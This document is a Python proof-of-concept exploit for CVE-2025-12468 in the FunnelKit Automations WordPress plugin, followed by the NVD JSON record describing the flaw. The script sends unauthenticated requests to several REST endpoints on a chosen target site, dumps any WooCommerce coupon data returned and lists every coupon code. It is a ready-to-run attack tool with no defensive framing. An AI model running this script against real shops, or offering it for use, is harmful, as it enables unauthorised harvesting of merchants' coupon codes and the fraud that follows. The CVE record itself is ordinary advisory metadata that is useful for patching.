CVE-2025-12468

import requests import json # CVE-2025-12468 PoC - FunnelKit Automations Unauthenticated Coupon Data Exposure # Target: WordPress site with FunnelKit Automations plugin <= 3.6.4.1 def exploit_cve_2025_12468(target_url): """ Exploit for CVE-2025-12468: Unauthenticated access to WooCommerce coupon data via FunnelKit Automations REST API endpoint /wc-coupons/ This vulnerability allows attackers to retrieve all coupon codes, IDs, and expiration status without any authentication. """ # Try common REST API endpoints for FunnelKit wc-coupons endpoints = [ f"{target_url}/wp-json/wc-coupons/", f"{target_url}/wp-json/wc/v1/coupons/", f"{target_url}/?rest_route=/wc-coupons/", f"{target_url}/?rest_route=/wc/v1/coupons/" ] print("[*] CVE-2025-12468 - FunnelKit Automations Coupon Data Exposure") print(f"[*] Target: {target_url}") print("=" * 60) for endpoint in endpoints: try: print(f"\n[*] Testing endpoint: {endpoint}") # Send unauthenticated GET request response = requests.get(endpoint, timeout=10) if response.status_code == 200: print(f"[!] VULNERABLE! Endpoint returned data without authentication") print(f"[*] Status Code: {response.status_code}") try: data = response.json() print(f"[*] Coupon Data Retrieved:") print(json.dumps(data, indent=2)) # Extract coupon codes for further analysis if isinstance(data, list): coupon_codes = [item.get('code', 'N/A') for item in data] print(f"\n[*] Found {len(coupon_codes)} coupon codes:") for code in coupon_codes: print(f" - {code}") except json.JSONDecodeError: print(f"[*] Response (non-JSON): {response.text[:500]}") return True else: print(f"[*] Status Code: {response.status_code} - Not vulnerable or endpoint not found") except requests.RequestException as e: print(f"[!] Error accessing endpoint: {e}") print("\n[*] No vulnerable endpoints found") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-12468.py <target_url>") print("Example: python cve-2025-12468.py https://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_cve_2025_12468(target)

{"cve": {"id": "CVE-2025-12468", "sourceIdentifier": "[email protected]", "published": "2025-11-05T10:15:35.463", "lastModified": "2025-12-04T14:01:37.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FunnelKit Automations – Email Marketing Automation and CRM for WordPress & WooCommerce plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.6.4.1 via the '/wc-coupons/' REST API endpoint. This is due to the endpoint being marked as a public API (`public_api = true`), which results in the endpoint being registered with `permission_callback => '__return_true'`, bypassing all authentication and capability checks. This makes it possible for unauthenticated attackers to extract sensitive data including all WooCommerce coupon codes, coupon IDs, and expiration status."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:funnelkit:funnelkit_automations:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "3.6.4.2", "matchCriteriaId": "3034084D-172A-4FE5-9A23-F7B4F45F4787"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-marketing-automations/trunk/includes/api/wc/class-bwfan-api-wc-coupons.php#L19", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/browser/wp-marketing-automations/trunk/includes/class-bwfan-api-loader.php#L119", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1d2a2032-3d39-4195-8e6c-ab884164721a?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}